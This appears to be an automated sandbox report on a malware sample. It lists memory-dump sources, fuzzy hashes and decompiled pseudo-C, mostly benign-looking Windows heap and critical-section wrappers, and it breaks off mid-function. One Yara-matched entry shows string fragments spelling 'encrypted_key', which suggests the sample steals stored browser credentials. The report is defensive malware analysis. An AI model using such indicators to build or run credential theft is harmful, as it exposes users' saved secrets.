                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 949621fc0d4975a383185545d50b03ed76496cb67c844f693fc3c5cd0bcb78b8
                                      • Instruction ID: 0ec434a2b9512e262e8fbf63f00474bcb7600bf6d09ae67af67d4074d56be67f
                                      • Opcode Fuzzy Hash: 949621fc0d4975a383185545d50b03ed76496cb67c844f693fc3c5cd0bcb78b8
                                      • Instruction Fuzzy Hash: E5F08275A04648ABCB04EBB8E945E6E77B4EF19300F240199F915EB281EA34DD04CB59
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0369A44B(signed int __ecx) {
                                      				intOrPtr _t13;
                                      				signed int _t15;
                                      				signed int* _t16;
                                      				signed int* _t17;
                                      
                                      				_t13 =  *0x3757b9c; // 0x0
                                      				_t15 = __ecx;
                                      				_t16 = L03684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
                                      				if(_t16 == 0) {
                                      					return 0;
                                      				}
                                      				 *_t16 = _t15;
                                      				_t17 =  &(_t16[2]);
                                      				E036AFA60(_t17, 0, _t15 << 2);
                                      				return _t17;
                                      			}







                                      0x0369a44b
                                      0x0369a453
                                      0x0369a472
                                      0x0369a476
                                      0x00000000
                                      0x0369a493
                                      0x0369a47a
                                      0x0369a47f
                                      0x0369a486
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a3fffafd2401f5fd0de3358405ad3330bfc7c627656ef3f4ffd93c46c6302c36
                                      • Instruction ID: d69b0ec775bb8ba12ae525ca4c86b9b0b0900459284c437729d91fac432b4905
                                      • Opcode Fuzzy Hash: a3fffafd2401f5fd0de3358405ad3330bfc7c627656ef3f4ffd93c46c6302c36
                                      • Instruction Fuzzy Hash: 27E09272A01521ABD2129F58ED00F66B39DDBD4E51F0A4039F504CB214DA68DD12CBE0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 79%
                                      			E0366F358(void* __ecx, signed int __edx) {
                                      				char _v8;
                                      				signed int _t9;
                                      				void* _t20;
                                      
                                      				_push(__ecx);
                                      				_t9 = 2;
                                      				_t20 = 0;
                                      				if(E0369F3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
                                      					_t20 = L03684620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
                                      				}
                                      				return _t20;
                                      			}






                                      0x0366f35d
                                      0x0366f361
                                      0x0366f367
                                      0x0366f372
                                      0x0366f38c
                                      0x0366f38c
                                      0x0366f394

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
                                      • Instruction ID: f9602360390becc86c2128f0700f62b0e5676646db73e93c579034d68177646e
                                      • Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
                                      • Instruction Fuzzy Hash: E8E0D832A40218BBDB21EAD99E05F5ABBACDB88AA1F050156F904EF150D9649D40C2D0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0367FF60(intOrPtr _a4) {
                                      				void* __ecx;
                                      				void* __ebp;
                                      				void* _t13;
                                      				intOrPtr _t14;
                                      				void* _t15;
                                      				void* _t16;
                                      				void* _t17;
                                      
                                      				_t14 = _a4;
                                      				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x36411a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
                                      					return E037388F5(_t13, _t14, _t15, _t16, _t17, __eflags);
                                      				} else {
                                      					return E03680050(_t14);
                                      				}
                                      			}










                                      0x0367ff66
                                      0x0367ff6b
                                      0x00000000
                                      0x0367ff8f
                                      0x00000000
                                      0x0367ff8f

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 04ed913c913e9a34b4bcebea3b2c546efddcdc14a3a758e7f9e256dc0deb1859
                                      • Instruction ID: afcecab30fe626840503f73c8bea2d1616b6b74f2ef43e4dbbe52b1eae6fbccc
                                      • Opcode Fuzzy Hash: 04ed913c913e9a34b4bcebea3b2c546efddcdc14a3a758e7f9e256dc0deb1859
                                      • Instruction Fuzzy Hash: AFE0DFB460A304EFD734EF51D240F257B9C9B42621F5D849DE0088F601CE29D882C20A
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0371D380(void* __ecx, void* __edx, intOrPtr _a4) {
                                      				void* _t5;
                                      
                                      				if(_a4 != 0) {
                                      					_t5 = L0366E8B0(__ecx, _a4, 0xfff);
                                      					L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
                                      					return _t5;
                                      				}
                                      				return 0xc000000d;
                                      			}




                                      0x0371d38a
                                      0x0371d39b
                                      0x0371d3b1
                                      0x00000000
                                      0x0371d3b6
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
                                      • Instruction ID: a2fbf54ad6fcde8de20d041dad0c811e4bf606b52ed532257afa7c8f6b8247a1
                                      • Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
                                      • Instruction Fuzzy Hash: 2FE0C236280304FBDB32AE48CD00F797B1ADB447A0F204035FE085E690C6759DA1EAC8
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 82%
                                      			E036F41E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
                                      				void* _t5;
                                      				void* _t14;
                                      
                                      				_push(8);
                                      				_push(0x37408f0);
                                      				_t5 = E036BD08C(__ebx, __edi, __esi);
                                      				if( *0x37587ec == 0) {
                                      					E0367EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
                                      					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
                                      					if( *0x37587ec == 0) {
                                      						 *0x37587f0 = 0x37587ec;
                                      						 *0x37587ec = 0x37587ec;
                                      						 *0x37587e8 = 0x37587e4;
                                      						 *0x37587e4 = 0x37587e4;
                                      					}
                                      					 *(_t14 - 4) = 0xfffffffe;
                                      					_t5 = L036F4248();
                                      				}
                                      				return E036BD0D1(_t5);
                                      			}





                                      0x036f41e8
                                      0x036f41ea
                                      0x036f41ef
                                      0x036f41fb
                                      0x036f4206
                                      0x036f420b
                                      0x036f4216
                                      0x036f421d
                                      0x036f4222
                                      0x036f422c
                                      0x036f4231
                                      0x036f4231
                                      0x036f4236
                                      0x036f423d
                                      0x036f423d
                                      0x036f4247

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: cc3ebd619e03c93fd93f3187c9b8dec71a0f5f9f3fabfefabd82bd66ef12bcae
                                      • Instruction ID: 284b7c309bd8caf0eb1cfa45e8f31cbb4ea0a739aaf01cebcc97b643d38b4618
                                      • Opcode Fuzzy Hash: cc3ebd619e03c93fd93f3187c9b8dec71a0f5f9f3fabfefabd82bd66ef12bcae
                                      • Instruction Fuzzy Hash: 79F03078650714EFDBA5FFF5D50071436B4F744310F00896F92008B698C7B84485CF0A
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0369A185() {
                                      				void* __ecx;
                                      				intOrPtr* _t5;
                                      
                                      				if( *0x37567e4 >= 0xa) {
                                      					if(_t5 < 0x3756800 || _t5 >= 0x3756900) {
                                      						return L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
                                      					} else {
                                      						goto L1;
                                      					}
                                      				} else {
                                      					L1:
                                      					return E03680010(0x37567e0, _t5);
                                      				}
                                      			}





                                      0x0369a190
                                      0x0369a1a6
                                      0x0369a1c2
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0369a192
                                      0x0369a192
                                      0x0369a19f
                                      0x0369a19f

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 4c94e94b11428e532c9d363bc6b56690503b20bd3ad8379a3ec0cc2c6f22790f
                                      • Instruction ID: 79a425c1888b08cfca31b31d03617124ce4d721a827df81c0da92b00b59fc780
                                      • Opcode Fuzzy Hash: 4c94e94b11428e532c9d363bc6b56690503b20bd3ad8379a3ec0cc2c6f22790f
                                      • Instruction Fuzzy Hash: A1D02B2152010416FB1CF354D914B22269AE7C4720F704D1EF1070E5A4EBE08CD4D10C
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E036916E0(void* __edx, void* __eflags) {
                                      				void* __ecx;
                                      				void* _t3;
                                      
                                      				_t3 = E03691710(0x37567e0);
                                      				if(_t3 == 0) {
                                      					_t6 =  *[fs:0x30];
                                      					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
                                      						goto L1;
                                      					} else {
                                      						return L03684620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
                                      					}
                                      				} else {
                                      					L1:
                                      					return _t3;
                                      				}
                                      			}





                                      0x036916e8
                                      0x036916ef
                                      0x036916f3
                                      0x036916fe
                                      0x00000000
                                      0x03691700
                                      0x0369170d
                                      0x0369170d
                                      0x036916f2
                                      0x036916f2
                                      0x036916f2
                                      0x036916f2

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: eea6f58b76248df820fd25829597a111a4fa5699e1ea27a53807183793c13f74
                                      • Instruction ID: 4922b1d7357521a409964c1cb14543c14ff36b62e0329f2f6130392153b6ee3c
                                      • Opcode Fuzzy Hash: eea6f58b76248df820fd25829597a111a4fa5699e1ea27a53807183793c13f74
                                      • Instruction Fuzzy Hash: 31D0A73120020252FE2DDB119D14B142259DB85781F3C006DF1174D6C0CFB0CCB2F04C
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E036E53CA(void* __ebx) {
                                      				intOrPtr _t7;
                                      				void* _t13;
                                      				void* _t14;
                                      				intOrPtr _t15;
                                      				void* _t16;
                                      
                                      				_t13 = __ebx;
                                      				if( *((char*)(_t16 - 0x65)) != 0) {
                                      					E0367EB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
                                      					_t7 =  *((intOrPtr*)(_t16 - 0x64));
                                      					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
                                      				}
                                      				if(_t15 != 0) {
                                      					L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
                                      					return  *((intOrPtr*)(_t16 - 0x64));
                                      				}
                                      				return _t7;
                                      			}








                                      0x036e53ca
                                      0x036e53ce
                                      0x036e53d9
                                      0x036e53de
                                      0x036e53e1
                                      0x036e53e1
                                      0x036e53e6
                                      0x036e53f3
                                      0x00000000
                                      0x036e53f8
                                      0x036e53fb

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
                                      • Instruction ID: de5a7efc0aab2a6064480db04debcad4b33da29056fab1bf8dfd6514cc5afe05
                                      • Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
                                      • Instruction Fuzzy Hash: 58E08C359017809BCF12EB48CB54F4EB7F5FB45B00F280048A0095F720C664EC00CB00
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0367AAB0() {
                                      				intOrPtr* _t4;
                                      
                                      				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
                                      				if(_t4 != 0) {
                                      					if( *_t4 == 0) {
                                      						goto L1;
                                      					} else {
                                      						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
                                      					}
                                      				} else {
                                      					L1:
                                      					return 0x7ffe0030;
                                      				}
                                      			}




                                      0x0367aab6
                                      0x0367aabb
                                      0x036ca442
                                      0x00000000
                                      0x036ca448
                                      0x036ca454
                                      0x036ca454
                                      0x0367aac1
                                      0x0367aac1
                                      0x0367aac6
                                      0x0367aac6

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
                                      • Instruction ID: 29b5e7ed9dddefad9f33ad8c2000f3917e5357830a7552d904720e204c179039
                                      • Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
                                      • Instruction Fuzzy Hash: 1ED0C935352980CFD616CB4CC654B1573A8FB04B40FC904D0E400CB721E62CD940CA00
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E036935A1(void* __eax, void* __ebx, void* __ecx) {
                                      				void* _t6;
                                      				void* _t10;
                                      				void* _t11;
                                      
                                      				_t10 = __ecx;
                                      				_t6 = __eax;
                                      				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
                                      					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
                                      				}
                                      				if( *((char*)(_t11 - 0x1a)) != 0) {
                                      					return E0367EB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
                                      				}
                                      				return _t6;
                                      			}






                                      0x036935a1
                                      0x036935a1
                                      0x036935a5
                                      0x036935ab
                                      0x036935ab
                                      0x036935b5
                                      0x00000000
                                      0x036935c1
                                      0x036935b7

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
                                      • Instruction ID: 687ea5e4d893525e3772f89d74f32c888c008dccd9562811e0031b9a5c6f7867
                                      • Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
                                      • Instruction Fuzzy Hash: E4D0A73D40118099FF03EB10C3187687779BB04208F7C109B80014D751C336490EC604
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0366DB40() {
                                      				signed int* _t3;
                                      				void* _t5;
                                      
                                      				_t3 = L03684620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
                                      				if(_t3 == 0) {
                                      					return 0;
                                      				} else {
                                      					 *_t3 =  *_t3 | 0x00000400;
                                      					return _t3;
                                      				}
                                      			}





                                      0x0366db4d
                                      0x0366db54
                                      0x0366db5f
                                      0x0366db56
                                      0x0366db56
                                      0x0366db5c
                                      0x0366db5c

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
                                      • Instruction ID: 189e1f9af54aac64fc05a62d6cbc9144dfd427413ebdf9f57685eb3d4d4829e3
                                      • Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
                                      • Instruction Fuzzy Hash: 19C08C70380B01AAEB22AF20CE01B0076A0BB44B41F4800A46300DA0F0EF78D811E600
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E036EA537(intOrPtr _a4, intOrPtr _a8) {
                                      
                                      				return L03688E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
                                      			}



                                      0x036ea553

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
                                      • Instruction ID: 0610926ea38c6506c8b368ba9db2ac3d55f188a21efcd15b3ccb1cfa1d8f5cb0
                                      • Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
                                      • Instruction Fuzzy Hash: EEC0123A080248BBCB12AF81CC00F067B2AFB98B60F008014BA080B5608632E970EA88
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E03683A1C(intOrPtr _a4) {
                                      				void* _t5;
                                      
                                      				return L03684620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
                                      			}




                                      0x03683a35

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
                                      • Instruction ID: 0bd57adc2149b170917e12bec7d2f5b202faa88f0f19acd620cf0e86ad134538
                                      • Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
                                      • Instruction Fuzzy Hash: 30C08C32080248BBC712AF42DC00F017B29E798B60F000020B6040A5608A32ECA0D58C
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E036776E2(void* __ecx) {
                                      				void* _t5;
                                      
                                      				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
                                      					return L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
                                      				}
                                      				return _t5;
                                      			}




                                      0x036776e4
                                      0x00000000
                                      0x036776f8
                                      0x036776fd

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
                                      • Instruction ID: 51ac89739c026b1509b1151f00b23ac14ecc137373392bf60577c53e6d7832f2
                                      • Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
                                      • Instruction Fuzzy Hash: BCC08C741412805AEB3AE708CF24B303654AB08608F9C029CAB010D6A1C3A8A833CA08
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E036936CC(void* __ecx) {
                                      
                                      				if(__ecx > 0x7fffffff) {
                                      					return 0;
                                      				} else {
                                      					return L03684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
                                      				}
                                      			}



                                      0x036936d2
                                      0x036936e8
                                      0x036936d4
                                      0x036936e5
                                      0x036936e5

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
                                      • Instruction ID: b605647ebfb70f5eb2cf35748e53d8b621bada91ed1c70872c6243af3742b160
                                      • Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
                                      • Instruction Fuzzy Hash: 36C02B78150540BBEB26AF30CE00F247358F704B21F7C03587220496F0EE289C20D104
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0366AD30(intOrPtr _a4) {
                                      
                                      				return L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
                                      			}



                                      0x0366ad49

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
                                      • Instruction ID: 404dae96339e5a1d5f89d890545cf4e6b03670620c93dd742500f8cdab527acd
                                      • Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
                                      • Instruction Fuzzy Hash: 8FC08C32080248BBC712AB45CD00F017B29E794B60F100020F6040A6618972E860D588
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E03687D50() {
                                      				intOrPtr* _t3;
                                      
                                      				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
                                      				if(_t3 != 0) {
                                      					return  *_t3;
                                      				} else {
                                      					return _t3;
                                      				}
                                      			}




                                      0x03687d56
                                      0x03687d5b
                                      0x03687d60
                                      0x03687d5d
                                      0x03687d5d
                                      0x03687d5d

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
                                      • Instruction ID: 0649be6429d6d50a42fefe1efa4f5a242834addcecb3ba54ea81548e18058555
                                      • Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
                                      • Instruction Fuzzy Hash: 7CB092343019408FCE16EF18C180B1533E8FB48A44B9800D0E400CBA20D229E8008900
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E03692ACB() {
                                      				void* _t5;
                                      
                                      				return E0367EB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
                                      			}




                                      0x03692adc

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
                                      • Instruction ID: 2c1c968248f0246a22d6a11e421fc06c15e66e3c59d9d2cf80ee3d2fd5943cbd
                                      • Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
                                      • Instruction Fuzzy Hash: 14B01232C11540CFCF02EF40CB10B197731FB00B50F0544D590012B930C229AC01CB40
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: "}$L$S$a$c$d_ke$encr$l$y$ypte
                                      • API String ID: 0-3767459862
                                      • Opcode ID: ff9c0e1357a2a94a14554530cf5ce9a42ceaceada20ea3f132daaa2445be53bf
                                      • Instruction ID: 51f0c61c58e1e1382320d21135ff91c5a55aec4f1ba4ba69ed9dbc7197ab4aaa
                                      • Opcode Fuzzy Hash: ff9c0e1357a2a94a14554530cf5ce9a42ceaceada20ea3f132daaa2445be53bf
                                      • Instruction Fuzzy Hash: 59516EB1D00318AEDB50EFA89C45BEEB7F8FF48300F14416AE509E7241EBB55945CBA6
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 53%
                                      			E036FFDDA(intOrPtr* __edx, intOrPtr _a4) {
                                      				void* _t7;
                                      				intOrPtr _t9;
                                      				intOrPtr _t10;
                                      				intOrPtr* _t12;
                                      				intOrPtr* _t13;
                                      				intOrPtr _t14;
                                      				intOrPtr* _t15;
                                      
                                      				_t13 = __edx;
                                      				_push(_a4);
                                      				_t14 =  *[fs:0x18];
                                      				_t15 = _t12;
                                      				_t7 = E036ACE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
                                      				_push(_t13);
                                      				E036F5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
                                      				_t9 =  *_t15;
                                      				if(_t9 == 0xffffffff) {
                                      					_t10 = 0;
                                      				} else {
                                      					_t10 =  *((intOrPtr*)(_t9 + 0x14));
                                      				}
                                      				_push(_t10);
                                      				_push(_t15);
                                      				_push( *((intOrPtr*)(_t15 + 0xc)));
                                      				_push( *((intOrPtr*)(_t14 + 0x24)));
